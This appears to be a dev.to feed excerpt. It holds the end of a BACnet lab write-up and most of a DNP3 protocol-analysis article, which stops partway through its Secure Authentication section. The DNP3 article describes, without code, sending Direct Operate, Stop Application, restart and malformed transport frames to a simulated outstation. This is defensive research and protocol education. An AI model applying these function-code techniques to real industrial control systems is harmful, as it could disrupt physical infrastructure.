&lt;p&gt;The final experiment probed TCP port &lt;strong&gt;47809&lt;/strong&gt;, the standard transport used by BACnet Secure Connect (BACnet/SC), by attempting a WebSocket handshake. The connection was refused, indicating that the laboratory server exposed only traditional BACnet/IP services during testing.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fogk2m12lb5ax0jbpj4t2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fogk2m12lb5ax0jbpj4t2.png" alt="Figure 4. Event-service analysis demonstrating SubscribeCOV acknowledgement, Event_Enable verification before and after modification, and BACnet/SC transport probing." width="799" height="392"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 4. Event-service analysis demonstrating SubscribeCOV acknowledgement, Event_Enable verification before and after modification, and BACnet/SC transport probing.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Together, these experiments completed the examination of BACnet's application services, event mechanisms, and secure transport transition.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key Observations
&lt;/h2&gt;

&lt;p&gt;Across the four research phases, several implementation characteristics were consistently observed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The target exposed its object database through standard property services.&lt;/li&gt;
&lt;li&gt;Priority arbitration followed BACnet's multi-slot command model rather than simple overwrite semantics.&lt;/li&gt;
&lt;li&gt;Foreign Device Registration requests were acknowledged at the BVLL layer.&lt;/li&gt;
&lt;li&gt;Router discovery and global broadcast enumeration produced no observable responses within the isolated laboratory.&lt;/li&gt;
&lt;li&gt;SubscribeCOV successfully generated event notifications.&lt;/li&gt;
&lt;li&gt;Event_Enable property modifications were reflected in subsequent reads.&lt;/li&gt;
&lt;li&gt;No BACnet/SC listener was present on the expected secure transport port.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;None of these observations should be generalized beyond the laboratory implementation. They describe the behavior recorded during controlled testing and serve as a foundation for understanding BACnet's protocol mechanics rather than evaluating commercial products.&lt;/p&gt;




&lt;h2&gt;
  
  
  Repository
&lt;/h2&gt;

&lt;p&gt;The complete research repository contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Protocol architecture primer&lt;/li&gt;
&lt;li&gt;Four packet-level research phases&lt;/li&gt;
&lt;li&gt;Laboratory reproduction guide&lt;/li&gt;
&lt;li&gt;Python research harnesses&lt;/li&gt;
&lt;li&gt;Network diagrams&lt;/li&gt;
&lt;li&gt;Terminal captures&lt;/li&gt;
&lt;li&gt;Detailed implementation observations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;GitHub:&lt;/strong&gt; &lt;a href="https://github.com/404saint/industrial-protocol-labs/tree/main/bacnet-research" rel="noopener noreferrer"&gt;https://github.com/404saint/industrial-protocol-labs/tree/main/bacnet-research&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Closing Remarks
&lt;/h2&gt;

&lt;p&gt;BACnet is often introduced as "the building automation protocol," but that description overlooks much of what makes it technically interesting. Its object-oriented data model, priority-based command arbitration, network-layer routing infrastructure, and event-driven services distinguish it from many traditional industrial protocols.&lt;/p&gt;

&lt;p&gt;Constructing protocol frames manually made those design decisions significantly clearer than interacting through abstraction libraries alone. More importantly, documenting the observed behavior, whether expected or implementation-specific, provides a reproducible reference for engineers and security researchers studying BACnet at the packet level.&lt;/p&gt;




&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; All experiments described in this article were conducted within an isolated laboratory environment using controlled BACnet/IP implementations. The work is intended solely for protocol education, interoperability research, and defensive security analysis. Do not perform similar testing against systems without explicit authorization.&lt;/p&gt;
&lt;/blockquote&gt;

</description>
      <category>security</category>
      <category>cybersecurity</category>
      <category>python</category>
      <category>network</category>
    </item>
    <item>
      <title>Hands-On DNP3 Protocol Analysis: State Machines, Transport Mechanics, and Secure Authentication (SA v5)</title>
      <dc:creator>404Saint</dc:creator>
      <pubDate>Sun, 02 Aug 2026 14:58:13 +0000</pubDate>
      <link>https://dev.to/null_saint/hands-on-dnp3-protocol-analysis-state-machines-transport-mechanics-and-secure-authentication-sa-25pn</link>
      <guid>https://dev.to/null_saint/hands-on-dnp3-protocol-analysis-state-machines-transport-mechanics-and-secure-authentication-sa-25pn</guid>
      <description>&lt;p&gt;By RUGERO Tesla (&lt;a href="https:/github.com/404saint" rel="noopener noreferrer"&gt;@404saint&lt;/a&gt;) &lt;/p&gt;

&lt;p&gt;In my previous article, &lt;strong&gt;Beyond Cyclic Polling: Objects, Classes, and Outstation State in DNP3&lt;/strong&gt;, we explored how DNP3 (IEEE 1815) organizes information through object groups, event classes, and Internal Indications (IIN). That discussion focused on the protocol's architecture and how an outstation exposes operational state to a SCADA master.&lt;/p&gt;

&lt;p&gt;Understanding the specification, however, is only half of the story.&lt;/p&gt;

&lt;p&gt;The more interesting question is what happens &lt;strong&gt;inside an implementation&lt;/strong&gt; when frames begin arriving on the wire. How does an outstation process malformed transport fragments? What state transitions occur when control commands arrive out of sequence? How are administrative function codes handled internally? What actually changes when Secure Authentication (SA v5) is introduced?&lt;/p&gt;

&lt;p&gt;To answer those questions, I built an isolated DNP3 research laboratory entirely in Python. Rather than relying on vendor implementations or third-party protocol libraries, I implemented custom outstation targets, protocol parsers, and master-side test harnesses to observe protocol behavior from the raw socket layer upward. This made it possible to inspect state transitions, reproduce protocol edge cases, and verify implementation behavior under controlled conditions.&lt;/p&gt;

&lt;p&gt;The repository contains:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A custom DNP3 outstation implementation&lt;/li&gt;
&lt;li&gt;A Secure Authentication (SA v5) enabled outstation&lt;/li&gt;
&lt;li&gt;Individual master-side test suites for each research phase&lt;/li&gt;
&lt;li&gt;Packet captures for every experiment&lt;/li&gt;
&lt;li&gt;Detailed technical notes documenting protocol behavior and implementation observations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can explore the complete project here:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;GitHub Repository&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://github.com/404saint/industrial-protocol-labs/tree/main/dnp3-research" rel="noopener noreferrer"&gt;https://github.com/404saint/industrial-protocol-labs/tree/main/dnp3-research&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This article summarizes five phases of that research:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Reconnaissance and protocol fingerprinting&lt;/li&gt;
&lt;li&gt;Control execution and Select-Before-Operate validation&lt;/li&gt;
&lt;li&gt;Administrative state transitions&lt;/li&gt;
&lt;li&gt;Transport-layer behavior and unsolicited messaging&lt;/li&gt;
&lt;li&gt;Secure Authentication (SA v5)&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  Phase 1 — Reconnaissance &amp;amp; Internal Indication Analysis
&lt;/h2&gt;

&lt;p&gt;Before attempting any control operations, it is useful to understand what information a DNP3 endpoint exposes during normal communication.&lt;/p&gt;

&lt;p&gt;Unlike many industrial protocols that require several exchanges before meaningful information becomes available, a standard Class 0 Integrity Read (&lt;code&gt;FC 0x01&lt;/code&gt;) immediately returns an Application Layer response containing the &lt;strong&gt;Internal Indications (IIN)&lt;/strong&gt; field.&lt;/p&gt;

&lt;p&gt;Those two bytes provide a surprisingly useful snapshot of the outstation's operational state.&lt;/p&gt;

&lt;p&gt;Depending on the implementation, the response may reveal whether:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the device has recently restarted,&lt;/li&gt;
&lt;li&gt;time synchronization is required,&lt;/li&gt;
&lt;li&gt;event buffers contain pending data,&lt;/li&gt;
&lt;li&gt;hardware faults have been detected,&lt;/li&gt;
&lt;li&gt;unsupported function codes were received,&lt;/li&gt;
&lt;li&gt;parameter validation has failed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the IIN field is part of normal protocol behavior, it represents one of the earliest opportunities to understand how an outstation is currently operating.&lt;/p&gt;

&lt;p&gt;The first phase of the lab simply performs a baseline integrity poll and parses those response flags.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffv9v46ke3qvv9fvlwmuq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ffv9v46ke3qvv9fvlwmuq.png" alt="Running the reconnaissance suite against the simulated outstation." width="731" height="239"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 1. &lt;code&gt;recon_enum.py&lt;/code&gt; issuing a Class 0 Integrity Read and decoding the returned Internal Indications.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;On the opposite side of the connection, the custom outstation processes the incoming FT3 frame, builds the Application Layer response, and returns the corresponding IIN values.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0eutebyol0edf7nmz856.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0eutebyol0edf7nmz856.png" alt="Outstation processing an incoming reconnaissance request." width="639" height="207"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 2. The custom outstation parsing the request and constructing the response APDU.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;One observation from this phase is the persistence of the &lt;strong&gt;Device Restart&lt;/strong&gt; indication (&lt;code&gt;IIN1.7&lt;/code&gt;). Following initialization, this flag remains asserted until the master acknowledges the restart condition. Although simple, this mechanism allows supervisory systems to distinguish between continuous operation and a recently restarted device without relying on external monitoring.&lt;/p&gt;

&lt;p&gt;This phase also establishes an important baseline for later experiments. Once administrative commands, transport anomalies, and authentication mechanisms are introduced, changes in the IIN field become an effective way to observe how internal state evolves throughout the protocol.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 2 — Control Execution &amp;amp; Select-Before-Operate Validation
&lt;/h2&gt;

&lt;p&gt;One of DNP3's defining characteristics is its emphasis on deterministic control execution.&lt;/p&gt;

&lt;p&gt;Rather than immediately actuating field devices whenever a command arrives, IEEE 1815 defines a &lt;strong&gt;Select-Before-Operate (SBO)&lt;/strong&gt; workflow for Control Relay Output Blocks (CROB). The design intentionally separates validation from execution, reducing the likelihood of accidental operations caused by communication errors or malformed traffic.&lt;/p&gt;

&lt;p&gt;Under the SBO model, a control operation normally follows two stages:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Select (&lt;code&gt;FC 0x03&lt;/code&gt;)&lt;/strong&gt; : The master requests control of a specific output point. The outstation validates the request and temporarily reserves that point.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Operate (&lt;code&gt;FC 0x04&lt;/code&gt;)&lt;/strong&gt; : If the reservation remains valid, the outstation executes the requested operation and clears the reservation state.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The protocol also defines &lt;strong&gt;Direct Operate (&lt;code&gt;FC 0x05&lt;/code&gt;)&lt;/strong&gt;, which bypasses the reservation phase entirely and requests immediate execution.&lt;/p&gt;

&lt;p&gt;To understand how the implementation enforced these different execution paths, I evaluated two scenarios:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;issuing a Direct Operate request without a preceding Select, and&lt;/li&gt;
&lt;li&gt;transmitting an Operate request against an unarmed point.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The master-side test suite executed both cases sequentially.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F647i0e7g63w0x8dyyaon.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F647i0e7g63w0x8dyyaon.png" alt="Control execution test suite issuing Direct Operate and Operate commands." width="800" height="247"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 3. &lt;code&gt;control_attacks.py&lt;/code&gt; exercising multiple CROB execution paths.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The first experiment demonstrated that Direct Operate followed its intended execution path. Because &lt;code&gt;FC 0x05&lt;/code&gt; explicitly bypasses the reservation stage, the simulated outstation accepted the request and executed the control action immediately.&lt;/p&gt;

&lt;p&gt;The second experiment intentionally violated the SBO state machine.&lt;/p&gt;

&lt;p&gt;An &lt;code&gt;Operate&lt;/code&gt; request (&lt;code&gt;FC 0x04&lt;/code&gt;) was transmitted without a matching active &lt;code&gt;Select&lt;/code&gt;. Rather than executing the command, the outstation rejected the request because no reservation existed for the specified control point.&lt;/p&gt;

&lt;p&gt;The internal logs clearly illustrate that transition.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flo3vxaxupg96qw7f40wi.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flo3vxaxupg96qw7f40wi.png" alt="Outstation validating Select-Before-Operate state transitions." width="800" height="248"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 4. The outstation detecting an invalid Operate sequence and rejecting the request.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Although these experiments were performed against a custom implementation, they demonstrate why protocol state machines matter just as much as packet syntax. A correctly implemented DNP3 endpoint does more than decode bytes... it continuously tracks execution context, validates command ordering, and determines whether a requested action is currently valid.&lt;/p&gt;

&lt;p&gt;That distinction becomes even more important when administrative function codes begin modifying the outstation's runtime state.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 3 — Administrative State Transitions
&lt;/h2&gt;

&lt;p&gt;Control commands are only one part of the DNP3 application layer.&lt;/p&gt;

&lt;p&gt;IEEE 1815 also defines a collection of administrative function codes that influence the lifecycle of an outstation itself. Rather than manipulating individual field points, these commands affect the runtime environment responsible for processing telemetry, maintaining event history, and coordinating system time.&lt;/p&gt;

&lt;p&gt;Among the most significant administrative functions are:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Function Code&lt;/th&gt;
&lt;th&gt;Purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x0D&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cold Restart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x0E&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Warm Restart&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x12&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Stop Application&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;0x18&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Write Time&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Unlike CROB operations, these requests alter the state of the outstation rather than the state of an individual control point.&lt;/p&gt;

&lt;p&gt;To observe these transitions, I executed each function sequentially against the simulated outstation while monitoring both protocol responses and internal application state.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F31yoi2g1x73okn5wfct6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F31yoi2g1x73okn5wfct6.png" alt="Administrative function test suite executing restart and lifecycle commands." width="800" height="488"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 5. &lt;code&gt;system_attacks.py&lt;/code&gt; exercising administrative function codes against the baseline outstation.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Several interesting behaviors emerged during testing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Time Synchronization
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;Write Time&lt;/code&gt; function (&lt;code&gt;FC 0x18&lt;/code&gt;) updates the outstation's internal clock. In the lab, submitting a new timestamp immediately modified the runtime clock and cleared the &lt;strong&gt;Need Time&lt;/strong&gt; indication (&lt;code&gt;IIN1.4&lt;/code&gt;), demonstrating how time synchronization directly affects protocol state.&lt;/p&gt;

&lt;p&gt;Although expected behavior, it reinforces how closely event sequencing depends on accurate clocks in industrial systems.&lt;/p&gt;

&lt;h3&gt;
  
  
  Warm Restart
&lt;/h3&gt;

&lt;p&gt;Issuing a Warm Restart (&lt;code&gt;FC 0x0E&lt;/code&gt;) temporarily interrupted application processing while preserving much of the runtime context.&lt;/p&gt;

&lt;p&gt;The response included a restart delay object, allowing the master to estimate when normal communications could safely resume.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stop Application
&lt;/h3&gt;

&lt;p&gt;The most interesting behavior occurred after issuing &lt;strong&gt;Stop Application&lt;/strong&gt; (&lt;code&gt;FC 0x12&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;Rather than terminating the network connection, the transport and link layers continued accepting frames while the application layer stopped processing operational requests.&lt;/p&gt;

&lt;p&gt;Subsequent read operations were therefore rejected, not because the TCP session had failed, but because the application itself had transitioned into a halted state.&lt;/p&gt;

&lt;p&gt;That distinction is subtle but important.&lt;/p&gt;

&lt;p&gt;From a network perspective, the device still appeared reachable.&lt;/p&gt;

&lt;p&gt;From an application perspective, however, it was no longer servicing requests.&lt;/p&gt;

&lt;p&gt;The outstation logs clearly illustrate these transitions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4ob7izuoqbhl4b887drr.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4ob7izuoqbhl4b887drr.png" alt="Outstation processing administrative state transitions." width="800" height="488"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 6. Runtime state changes following administrative commands, including clock updates, application halt, and restart processing.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;This phase reinforced an important implementation detail: protocol availability is not determined solely by socket state. Internal application state can significantly alter how an endpoint responds, even while lower protocol layers continue operating normally.&lt;/p&gt;




&lt;h2&gt;
  
  
  Phase 4 — Transport Reassembly &amp;amp; Unsolicited Messaging
&lt;/h2&gt;

&lt;p&gt;The DNP3 Transport Pseudo-Layer is often overlooked because it consists of only a single control byte.&lt;/p&gt;

&lt;p&gt;Despite its simplicity, that byte is responsible for coordinating fragmentation and reassembly across every multi-frame Application Protocol Data Unit (APDU).&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bit Position

7      6      5 4 3 2 1 0
+------+------+
| FIR  | FIN  | Sequence |
+------+------+
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The transport header contains three pieces of information:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;FIR (First Fragment)&lt;/strong&gt; : Indicates the beginning of an APDU stream.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FIN (Final Fragment)&lt;/strong&gt; : Marks the final fragment in the stream.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sequence Number&lt;/strong&gt; : A six-bit counter used to order fragments.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most DNP3 communications fit within a single frame, making fragmentation relatively uncommon during normal operation.&lt;/p&gt;

&lt;p&gt;Nevertheless, any implementation supporting larger payloads must correctly maintain fragment state, sequence tracking, and timeout behavior.&lt;/p&gt;

&lt;p&gt;To evaluate that logic, I intentionally exercised several edge cases.&lt;/p&gt;




&lt;h2&gt;
  
  
  Reassembly State Validation
&lt;/h2&gt;

&lt;p&gt;The first experiment transmitted a frame marked as the &lt;strong&gt;final fragment&lt;/strong&gt; without ever establishing an active fragment stream.&lt;/p&gt;

&lt;p&gt;From the parser's perspective, this meant receiving the end of a conversation that had never started.&lt;/p&gt;

&lt;p&gt;The master-side test suite generated the malformed transport header and transmitted it directly to the outstation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ficw627brcsyk2zeqrrhd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Ficw627brcsyk2zeqrrhd.png" alt="Transport-layer edge case testing." width="783" height="340"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 7. &lt;code&gt;transport_attacks.py&lt;/code&gt; generating malformed transport sequences and unsolicited response traffic.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Rather than attempting to process the payload, the parser detected the invalid state transition and rejected the frame.&lt;/p&gt;

&lt;p&gt;The corresponding runtime logs clearly show the parser identifying the missing fragment context before terminating reassembly.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjxdpmbhkxlhfr1uh91rd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fjxdpmbhkxlhfr1uh91rd.png" alt="Transport parser rejecting malformed fragment state." width="800" height="346"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Figure 8. The transport engine detecting an invalid fragment sequence during APDU reassembly.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The second experiment intentionally opened a fragmented stream without completing it.&lt;/p&gt;

&lt;p&gt;Instead of immediately raising an error, the parser allocated reassembly state and advanced the expected sequence counter.&lt;/p&gt;

&lt;p&gt;This illustrates another important implementation consideration.&lt;/p&gt;

&lt;p&gt;Transport parsers do more than decode individual packets. They maintain state across multiple frames. Any robust implementation must therefore handle incomplete streams, unexpected sequence numbers, retransmissions, and timeout cleanup without exhausting internal resources.&lt;/p&gt;




&lt;h2&gt;
  
  
  Unsolicited Response Processing
&lt;/h2&gt;

&lt;p&gt;The final experiment in this phase focused on &lt;strong&gt;Unsolicited Responses (&lt;code&gt;FC 0x82&lt;/code&gt;)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Unlike conventional request-response communication, unsolicited messages allow an outstation to report significant events without waiting for the master to poll.&lt;/p&gt;

&lt;p&gt;Typical uses include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;binary input changes,&lt;/li&gt;
&lt;li&gt;analog threshold crossings,&lt;/li&gt;
&lt;li&gt;event notifications,&lt;/li&gt;
&lt;li&gt;alarm conditions.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Within the laboratory, I generated a synthetic unsolicited response carrying an Analog Input object (&lt;code&gt;Group 30 Variation 1&lt;/code&gt;) to observe how the implementation processed an event arriving outside the normal polling cycle.&lt;/p&gt;

&lt;p&gt;Because the frame matched the expected protocol format, the simulated receiver accepted the message and updated its internal state accordingly.&lt;/p&gt;

&lt;p&gt;The purpose of this experiment was not to demonstrate a universal weakness in DNP3 deployments, but to study how unsolicited messaging is integrated into protocol processing and why implementations must validate message origin, sequencing, and where supported, authentication before committing unsolicited event data.&lt;/p&gt;




&lt;h2&gt;
  
  
  5. DNP3 Secure Authentication (SA v5) Verification
&lt;/h2&gt;

&lt;p&gt;One of the most significant limitations of legacy DNP3 is the absence of built-in authentication for critical control operations. Any device capable of reaching an outstation can potentially issue administrative or control function codes unless additional security controls are deployed.&lt;/p&gt;

&lt;p&gt;To address this, &lt;strong&gt;IEEE 1815-2012&lt;/strong&gt; introduced &lt;strong&gt;DNP3 Secure Authentication Version 5 (SA v5)&lt;/strong&gt;, later aligned with &lt;strong&gt;IEC 62351-5&lt;/strong&gt;. Rather than encrypting protocol traffic, SA v5 protects sensitive operations through a challenge-response mechanism that verifies message authenticity and integrity before control commands are executed.&lt;/p&gt;

&lt;p&gt;To better understand this workflow, I implemented a dedicated Secure Authentication outstation (&lt;code&gt;outstation-sa.py&lt;/code&gt;) alongside a companion master test harness (&lt;code&gt;master_test_runner.py&lt;/code&gt;). Together they reproduce the complete authentication state machine, allowing each stage of the protocol exchange to be observed in isolation.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz4qv5cklmty5rkrufoxk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fz4qv5cklmty5rkrufoxk.png" alt="Master test runner executing Secure Authentication validation" width="767" height="610"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The master-side test harness executing the complete Secure Authentication validation suite, including challenge negotiation, HMAC verification, session establishment, and authenticated control execution.&lt;/em&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Walking Through the Authentication Workflow
&lt;/h3&gt;

&lt;p&gt;The authentication sequence follows a well-defined state machine.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Baseline Read (&lt;code&gt;FC 0x01&lt;/code&gt;)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Standard telemetry reads continue to operate normally. Since these requests are considered non-critical, they do not require cryptographic validation and are processed without additional authentication overhead.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Challenge Negotiation (&lt;code&gt;FC 0x20&lt;/code&gt;, Object 120 Variation 1)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Before executing a protected operation, the master initiates the authentication process. The outstation responds with a challenge containing a nonce, sequence information, and additional parameters required to construct a valid authentication response.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Challenge Verification (&lt;code&gt;FC 0x20&lt;/code&gt;, Object 120 Variation 2)&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Using the pre-shared session key, the master computes an HMAC over the challenge data and submits the resulting authentication payload. The outstation independently performs the same calculation and compares the received digest against its own result.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Authenticated Session Establishment&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If verification succeeds, the outstation marks the communication session as authenticated and returns its current Secure Authentication status (Object Group 120). Subsequent protected operations are now permitted within the authenticated session.&lt;/p&gt;

&lt;ol&gt;
